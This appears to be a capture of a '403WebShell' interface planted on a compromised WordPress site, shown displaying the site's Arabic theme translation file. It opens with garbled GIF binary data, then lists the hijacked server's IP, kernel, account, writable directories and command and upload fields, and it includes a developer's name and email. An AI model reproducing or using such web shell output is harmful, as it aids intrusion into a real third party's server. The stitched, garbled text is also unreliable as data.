GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/first-gulf.com.sa/wp-content/themes/first-theme/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/first-gulf.com.sa/wp-content/themes/first-theme/lang/ar.po
msgid ""
msgstr ""
"Project-Id-Version: mytheme\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2021-05-24 12:10+0300\n"
"PO-Revision-Date: 2021-05-24 12:10+0300\n"
"Last-Translator: Ahmed Khalid <ahmed.khalid2200@gmail.com>\n"
"Language-Team: Ahemd Khalid <ahmed.khalid2200@gmail.com>\n"
"Language: ar\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-KeywordsList: _e;__;_x\n"
"X-Poedit-Basepath: .\n"
"X-Textdomain-Support: yes\n"
"X-Generator: Poedit 2.4.3\n"
"X-Poedit-SearchPath-0: ..\n"
"X-Poedit-SearchPathExcluded-0: ../meta\n"

#: ../archive-project.php:4 ../archive-service.php:4 ../page-side-menu.php:12
#: ../page.php:5 ../single-service.php:5 ../single.php:9
msgid "Home"
msgstr "الرئيسية"

#: ../archive-project.php:5 ../archive-project.php:8 ../functions.php:102
#: ../functions.php:104
msgid "Projects"
msgstr "المشاريع"

#: ../archive-service.php:5 ../archive-service.php:8 ../functions.php:133
#: ../functions.php:135 ../single-service.php:6
msgid "Services"
msgstr "الخدمات"

#: ../footer.php:27 ../functions.php:199 ../functions.php:200
#: ../functions.php:201
msgid "Jobs"
msgstr "الوظائف"

#: ../footer.php:53
msgid "All copyrights are Reserved"
msgstr "جميع الحقوق محفوظة"

#: ../functions.php:48
msgid "Navbar"
msgstr "النافبار"

#: ../functions.php:49
msgid "Footer Menu"
msgstr "قائمة الفوتر "

#: ../functions.php:50
msgid "Pages Menu"
msgstr "قائمة الصفحات"

#: ../functions.php:59 ../functions.php:60
msgid "slider"
msgstr "السلايدر"

#: ../functions.php:61
msgid "Slider"
msgstr "السلايد"

#: ../functions.php:62
msgid "Parent Slider:"
msgstr "السلايد الرئيسي:"

#: ../functions.php:63 ../functions.php:202
msgid "All Sliders"
msgstr "جميع السلايد"

#: ../functions.php:82
msgid "Activities"
msgstr "الأنشطة"

#: ../functions.php:83 ../functions.php:84
msgid "Activity"
msgstr "النشاط"

#: ../functions.php:103
msgid "Project"
msgstr "المشاريع"

#: ../functions.php:105 ../functions.php:136 ../functions.php:159
#: ../functions.php:180 ../includes/meta/inc/fields/select.php:92
msgid "All"
msgstr "الكل"

#: ../functions.php:134
msgid "Service"
msgstr "الخدمة"

#: ../functions.php:156 ../functions.php:158
msgid "Partners"
msgstr "الشركاء"

#: ../functions.php:157
msgid "Partner"
msgstr "الشريك"

#: ../functions.php:177 ../functions.php:179
msgid "Clients"
msgstr "العملاء"

#: ../functions.php:178
msgid "Client"
msgstr "العميل"

#: ../home/about.php:23 ../home/about.php:40
msgid "Read More"
msgstr "اقرأ المزيد"

#: ../home/activity.php:10
msgid "Our Activities"
msgstr "أنشطتنا"

#: ../home/clients-projects.php:11
msgid "Our Clients"
msgstr "عملاؤنا"

#: ../home/clients-projects.php:53
msgid "Our Partner"
msgstr "شركائنا"

#: ../home/service.php:10
msgid "Our Services"
msgstr "خدماتنا"

#: ../includes/custom_meta.php:7 ../includes/custom_meta.php:18
msgid "option"
msgstr "خيارات"

#: ../includes/custom_meta.php:11
msgid "Url"
msgstr "الرابط"

#: ../includes/custom_meta.php:22
msgid "Show Thumbnail in page details"
msgstr "عرض الصورة البارزة في التفاصيل"

#: ../includes/custom_meta_contacts.php:6
msgid "Contact Email"
msgstr "بريد التواصل"

#: ../includes/custom_meta_contacts.php:11
msgid "Footer text"
msgstr "نص الفوتر"

#: ../includes/custom_meta_contacts.php:22
msgid "Facebook"
msgstr "فيسبوك"

#: ../includes/custom_meta_contacts.php:27
msgid "Twitter"
msgstr "تويتر"

#: ../includes/custom_meta_contacts.php:32
msgid "Instagram"
msgstr "انستقرام"

#: ../includes/custom_meta_contacts.php:37
msgid "Snapchat"
msgstr "سناب شات"

#: ../includes/custom_meta_contacts.php:42
msgid "Youtube"
msgstr "اليوتيوب"

#: ../includes/meta/inc/about/about.php:69
#: ../includes/meta/inc/about/about.php:70
msgid "Meta Box"
msgstr ""

#: ../includes/meta/inc/about/about.php:85
msgid "Welcome to Meta Box"
msgstr ""

#: ../includes/meta/inc/about/about.php:86
msgid "Dashboard"
msgstr ""

#: ../includes/meta/inc/about/about.php:156
#, php-format
msgid ""
"Please rate <strong>Meta Box</strong> <a href=\"%1$s\" target=\"_blank"
"\">&#9733;&#9733;&#9733;&#9733;&#9733;</a> on <a href=\"%1$s\" target="
"\"_blank\">WordPress.org</a> to help us spread the word. Thank you from the "
"Meta Box team!"
msgstr ""

#: ../includes/meta/inc/about/sections/support.php:18
#, php-format
msgid ""
"Still need help with Meta Box? We offer excellent support for you. But don't "
"forget to check our <a href=\"%s\">documentation</a> first."
msgstr ""

#: ../includes/meta/inc/about/sections/welcome.php:14
#, php-format
msgid "Welcome to %s"
msgstr ""

# @ total
#: ../includes/meta/inc/field.php:361
msgid "+ Add more"
msgstr "اضف المزيد"

# @ total
#: ../includes/meta/inc/fields/autocomplete.php:23
#: ../includes/meta/inc/fields/file.php:171
msgid "Delete"
msgstr "حذف"

#: ../includes/meta/inc/fields/background.php:75
msgid "Background Image"
msgstr "صورة الخلفية"

#: ../includes/meta/inc/fields/button.php:34
msgid "Click me"
msgstr "اضغطني"

#: ../includes/meta/inc/fields/checkbox.php:53
msgid "Yes"
msgstr "نعم"

#: ../includes/meta/inc/fields/checkbox.php:53
msgid "No"
msgstr "لا"

#: ../includes/meta/inc/fields/file.php:24
#, php-format
msgid "You may only upload maximum %d file"
msgstr "تجاوزت العدد المسموح لرفع الملفات  %d ملف"

#: ../includes/meta/inc/fields/file.php:26
#, php-format
msgid "You may only upload maximum %d files"
msgstr "تجاوزت العدد المسموح لرفع الملفات  %d ملفات"

# @ total
#: ../includes/meta/inc/fields/file.php:63
msgid "Error: Invalid file"
msgstr "خطأ: لا يمكن حذف الملف"

# @ total
#: ../includes/meta/inc/fields/file.php:77
msgid "Error: Cannot delete file"
msgstr "خطأ: لا يمكن حذف الملف"

# @ total
#: ../includes/meta/inc/fields/file.php:90
msgid "+ Add new file"
msgstr "اضافة ملف جديد"

# @ total
#: ../includes/meta/inc/fields/file.php:172
#: ../includes/meta/inc/fields/media.php:31
msgid "Edit"
msgstr "تعديل"

#: ../includes/meta/inc/fields/input-list.php:92
msgid "Toggle All"
msgstr ""

#: ../includes/meta/inc/fields/key-value.php:135
msgid "Key"
msgstr "المفتاح"

#: ../includes/meta/inc/fields/key-value.php:136
msgid "Value"
msgstr "القيمة"

#: ../includes/meta/inc/fields/map.php:55
#: ../includes/meta/inc/fields/osm.php:28
msgid "No results found"
msgstr "عفوا لم يتم العثور على نتائج"

# @ total
#: ../includes/meta/inc/fields/media.php:27
msgid "+ Add Media"
msgstr "اضافة صورة جديدة"

# @ total
#: ../includes/meta/inc/fields/media.php:28
msgid " file"
msgstr " الملف"

# @ total
#: ../includes/meta/inc/fields/media.php:29
msgid " files"
msgstr " الملفات"

#: ../includes/meta/inc/fields/media.php:30
msgid "Remove"
msgstr "حذف"

#: ../includes/meta/inc/fields/media.php:32
msgid "View"
msgstr "عرض"

#: ../includes/meta/inc/fields/media.php:33
msgid "No Title"
msgstr "لايوجد عنوان"

# @ total
#: ../includes/meta/inc/fields/media.php:36
msgid "Select Files"
msgstr "اختر الملفات"

#: ../includes/meta/inc/fields/media.php:37
msgid "or"
msgstr "او"

#: ../includes/meta/inc/fields/media.php:38
msgid "Drop files here to upload"
msgstr "افلت الصورة هنا"

#: ../includes/meta/inc/fields/oembed.php:24
msgid "Embed HTML not available."
msgstr "تضمين HTML غير متاح."

# @ total
#: ../includes/meta/inc/fields/post.php:80
msgid "Select a post"
msgstr "اختر المقال"

# @ total
#: ../includes/meta/inc/fields/post.php:86
#: ../includes/meta/inc/fields/taxonomy.php:98
#, php-format
msgid "Select a %s"
msgstr "اختر %s"

#: ../includes/meta/inc/fields/post.php:156
#: ../includes/meta/inc/fields/taxonomy.php:157
#: ../includes/meta/inc/fields/user.php:144
msgid "(No title)"
msgstr "(‫لايوجد عنوان)"

# @ total
#: ../includes/meta/inc/fields/select-advanced.php:47
msgid "Select an item"
msgstr "حدد العنصر"

# @ total
#: ../includes/meta/inc/fields/select.php:92
msgid "Select"
msgstr "اختر الملفات"

#: ../includes/meta/inc/fields/select.php:92
msgid "None"
msgstr "لا شيء"

# @ total
#: ../includes/meta/inc/fields/sidebar.php:23
msgid "Select a sidebar"
msgstr "حدد الشريط الجانبي"

#: ../includes/meta/inc/fields/switch.php:93
msgid "On"
msgstr "تشغيل"

#: ../includes/meta/inc/fields/switch.php:94
msgid "Off"
msgstr "إطفاء"

# @ total
#: ../includes/meta/inc/fields/taxonomy.php:94
msgid "Select a term"
msgstr "حدد التصنيف"

# @ total
#: ../includes/meta/inc/fields/user.php:84
msgid "Select an user"
msgstr "اختر من الأعضاء"

#: ../includes/meta/inc/meta-box.php:342
msgid "Meta Box Title"
msgstr ""

#: ../includes/meta/inc/update/checker.php:143
msgid ""
"UPDATE UNAVAILABLE! Please enter a valid license key to enable automatic "
"updates."
msgstr ""

#: ../includes/meta/inc/update/notification.php:112
#, php-format
msgid ""
"You have not set your Meta Box license key yet, which means you are missing "
"out on automatic updates and support! Please <a href=\"%1$s\">enter your "
"license key</a> or <a href=\"%2$s\" target=\"_blank\">get a new one here</a>."
msgstr ""

#: ../includes/meta/inc/update/notification.php:114
#: ../includes/meta/inc/update/notification.php:116
#, php-format
msgid ""
"Your license key for Meta Box is <b>invalid</b>. Please <a href=\"%1$s"
"\">update your license key</a> or <a href=\"%2$s\" target=\"_blank\">get a "
"new one</a> to enable automatic updates."
msgstr ""

#: ../includes/meta/inc/update/notification.php:118
#, php-format
msgid ""
"Your license key for Meta Box is <b>expired</b>. Please <a href=\"%3$s\" "
"target=\"_blank\">renew your license</a> to get automatic updates and "
"premium support."
msgstr ""

#: ../includes/meta/inc/update/notification.php:142
#, php-format
msgid ""
"Please <a href=\"%1$s\">enter your license key</a> or <a href=\"%2$s\" "
"target=\"_blank\">get a new one here</a>."
msgstr ""

#: ../includes/meta/inc/update/notification.php:144
#: ../includes/meta/inc/update/notification.php:146
#, php-format
msgid ""
"Your license key is <b>invalid</b>. Please <a href=\"%1$s\">update your "
"license key</a> or <a href=\"%2$s\" target=\"_blank\">get a new one here</a>."
msgstr ""

#: ../includes/meta/inc/update/notification.php:148
#, php-format
msgid ""
"Your license key is <b>expired</b>. Please <a href=\"%3$s\" target=\"_blank"
"\">renew your license</a>."
msgstr ""

#: ../includes/meta/inc/update/notification.php:171
msgid "Activate License"
msgstr ""

#: ../includes/meta/inc/update/notification.php:171
msgid "Update License"
msgstr "تحديث الرخصة"

#: ../includes/meta/inc/update/settings.php:96
#, php-format
msgid ""
"To get the license key, visit the <a href=\"%1$s\" target=\"_blank\">My "
"Account</a> page on metabox.io website. If you have not purchased any "
"extension yet, please <a href=\"%2$s\" target=\"_blank\">get a new license "
"here</a>."
msgstr ""

#: ../includes/meta/inc/update/settings.php:113
#: ../includes/meta/inc/update/settings.php:115
#, php-format
msgid ""
"Your license key is <b>invalid</b>. Please update your license key or <a "
"href=\"%1$s\" target=\"_blank\">get a new one here</a>."
msgstr ""

#: ../includes/meta/inc/update/settings.php:117
#, php-format
msgid ""
"Your license key is <b>expired</b>. Please <a href=\"%2$s\" target=\"_blank"
"\">renew your license</a>."
msgstr ""

#: ../includes/meta/inc/update/settings.php:118
msgid "Your license key is <b>active</b>."
msgstr ""

#: ../includes/meta/inc/update/settings.php:131
msgid "Save Changes"
msgstr "حفظ التغييرات"

#: ../includes/meta/inc/update/settings.php:157
msgid ""
"Something wrong with the connection to metabox.io. Please try again later."
msgstr ""

#: ../includes/meta/inc/update/settings.php:159
msgid "Your license is activated."
msgstr ""

#: ../includes/meta/inc/update/settings.php:162
#, php-format
msgid ""
"License expired. Please renew on the <a href=\"%s\" target=\"_blank\">My "
"Account</a> page on metabox.io website."
msgstr ""

#: ../includes/meta/inc/update/settings.php:168
#, php-format
msgid ""
"Invalid license. Please <a href=\"%1$s\" target=\"_blank\">check again</a> "
"or <a href=\"%2$s\" target=\"_blank\">get a new license here</a>."
msgstr ""

#: ../includes/navmenu.php:46
msgid "Custom Post Type Archives"
msgstr "الأرشيف المخصص"

# @ total
#: ../includes/navmenu.php:57
msgid "Archive"
msgstr "الارشيف لـ "

# @ total
#: ../includes/navmenu.php:72
msgid "Add to Menu"
msgstr "اضفة للقائمة"

#: ../js/uikit.min.js:3
msgid "<"
msgstr ""

#~ msgid "Telephone"
#~ msgstr "الهاتف"

#~ msgid "Email"
#~ msgstr "البريد الإلكتروني"

#~ msgid "Our Projects"
#~ msgstr "مشاريعنا"

#~ msgid "Show all Projects"
#~ msgstr "عرض كل المشاريع"

#~ msgid "Background Video"
#~ msgstr "خلفية الفيديو"

#~ msgid "Video to Play (Home Only)"
#~ msgstr "الفيديو للتشغيل (الرئيسية فقط)"

#~ msgid "Video"
#~ msgstr "الفيديو"

#~ msgid "Contact Us"
#~ msgstr "اتصل بنا"

#~ msgid "Find Us"
#~ msgstr "تواصل معنا"

#~ msgid "Follow Us"
#~ msgstr "تابعنا"

#~ msgid "Industries"
#~ msgstr "الصناعات"

#~ msgid "Industry"
#~ msgstr "الصناعة"

#~ msgid "URL"
#~ msgstr "الرابط"

#~ msgid "Our PARTNERS"
#~ msgstr "شركائنا"

#~ msgid "Please type your email"
#~ msgstr "الرجاء كتابة بريدك الإلكتروني"

#~ msgid "Email already exists"
#~ msgstr "البريد الإلكتروني موجود بالفعل"

#~ msgid "Email successfully added, Thank you."
#~ msgstr "تمت اضافة بريدك الإلكتروني بنجاح، شكراً لك ."

#~ msgid "About Company"
#~ msgstr "عن الشركة"

#~ msgid "Subscribe to the mailing list"
#~ msgstr "اشترك بالقائمة البريدية"

#~ msgid "Subscribe"
#~ msgstr "اشترك"

#~ msgid "Keep touch"
#~ msgstr "كن بالقرب"

#~ msgid "Footer links"
#~ msgstr "قائمة الفوتر"

#~ msgid "Achievements"
#~ msgstr "إنجازاتنا"

#~ msgid "Achievement"
#~ msgstr "الانجاز"

#~ msgid "Gallery"
#~ msgstr "معرض الصور"

#~ msgid "Latest Achievements"
#~ msgstr "اخر الانجازات"

#~ msgid "Links"
#~ msgstr "روابط"

#~ msgid "Photo Gallery"
#~ msgstr "ألبوم الصور"

#~ msgid "Our location"
#~ msgstr "موقعنا"

#~ msgid "About Us"
#~ msgstr "من نحن"

#~ msgid "Works"
#~ msgstr "الأعمال"

#~ msgid "Work"
#~ msgstr "العمل"

#~ msgid "Subtitle"
#~ msgstr "العنوان الفرعي"

#~ msgid "View Details"
#~ msgstr "عرض التفاصيل"

#~ msgid "No works found!"
#~ msgstr "لم يتم العثور على أعمال !"

#~ msgid "Life Cycle"
#~ msgstr "دورة الحياة"

#~ msgid "Comments are closed"
#~ msgstr "التعلقيات مغلقة"

#~ msgid "Leave comment"
#~ msgstr "اترك تعليقك"

#~ msgid "Name"
#~ msgstr "الإسم"

#~ msgid "Please type your name"
#~ msgstr "الرجاء كتابة اسمك"

#~ msgid "Comment"
#~ msgstr "التعليق"

#~ msgid "Please type your comment"
#~ msgstr "الرجاء كتابة تعليقك"

#~ msgid "Leave a Reply"
#~ msgstr "اترك ردك"

#~ msgid "Features"
#~ msgstr "المزايا"

#~ msgid "Feature"
#~ msgstr "الميزة"

#~ msgid "partner option"
#~ msgstr "خيارات الشريك"

#~ msgid "Hover image"
#~ msgstr "الصورة عند مرور الماوس"

#~ msgid "options"
#~ msgstr "خيارات"

#~ msgid "Tel"
#~ msgstr "رقم الهاتف"

#~ msgid "Your order has been successfully sent. Thank you"
#~ msgstr "تم ارسال طلبك بنجاح، شكراً لك ."

#~ msgid "Benefits of Emaj"
#~ msgstr "فوائد إيماج"

#~ msgid "Benefit"
#~ msgstr "الفائدة"

#~ msgid "Benefits"
#~ msgstr "الفوائد"

#~ msgid "Date added"
#~ msgstr "تاريخ الإضافة"

#~ msgid "Registered"
#~ msgstr "المسجلين"

#~ msgid "Get Offer"
#~ msgstr "احصل على عرض"

#~ msgid "Please type your first name"
#~ msgstr "الرجاء كتابة اسمك الأول"

#~ msgid "Please type your last name"
#~ msgstr "الرجاء كتابة اسمك الأخير"

#~ msgid "Please type your job title"
#~ msgstr "الرجاء كتابة المسمى الوظيفي"

#~ msgid "Please type your phone number"
#~ msgstr "الرجاء كتابة رقم جوالك"

#~ msgid "Please type your nationality"
#~ msgstr "الرجاء كتابة جنسيتك "

#~ msgid "Please type your address"
#~ msgstr "الرجاء كتابة عنوانك"

#~ msgid "Terms and conditions must be approved"
#~ msgstr "يجب الموافقة على الشروط والأحكام"

# @ total
#~ msgid "Please select your type organization"
#~ msgstr "الرجاء اختيار نوع المنظمة الخاصة بك"

#~ msgid "Failed to verify"
#~ msgstr "فشل التحقق"

#~ msgid "Highlights"
#~ msgstr "الاخبار"

#~ msgid "Highlight"
#~ msgstr "الخبر"

#~ msgid "Sorry !. We don't have any results to show."
#~ msgstr "عفواً !، لا توجد نتائج "

#~ msgid "Enter Your Email Here"
#~ msgstr "ضع بريدك الإلكتروني هنا .."

#~ msgid "Key enables"
#~ msgstr "عوامل التمكين الرئيسية"

#~ msgid "Key enable"
#~ msgstr "العامل"

#~ msgid "Key Partner:"
#~ msgstr "العامل الرئيسي"

#~ msgid "Parent Partner:"
#~ msgstr "الشريك الرئيسي"

#~ msgid "All Partner"
#~ msgstr "كل الشركاء"

#~ msgid "Galleries"
#~ msgstr "معرض الصور"

#~ msgid "Parent Gallery:"
#~ msgstr "القسم الرئيسي :"

#~ msgid "All Gallery"
#~ msgstr "معرض الصور"

#~ msgid "Advisory Board"
#~ msgstr "المجلس الاستشاري"

#~ msgid "slider option"
#~ msgstr "خيارات السلايد"

#~ msgid "Type"
#~ msgstr "النوع"

#~ msgid "Normal"
#~ msgstr "عادي"

#~ msgid "Page"
#~ msgstr "صفحة"

#~ msgid "Video url"
#~ msgstr "رابط الفيديو"

#~ msgid "Hide Title"
#~ msgstr "إخفاء عنوان "

#~ msgid "Title in the board"
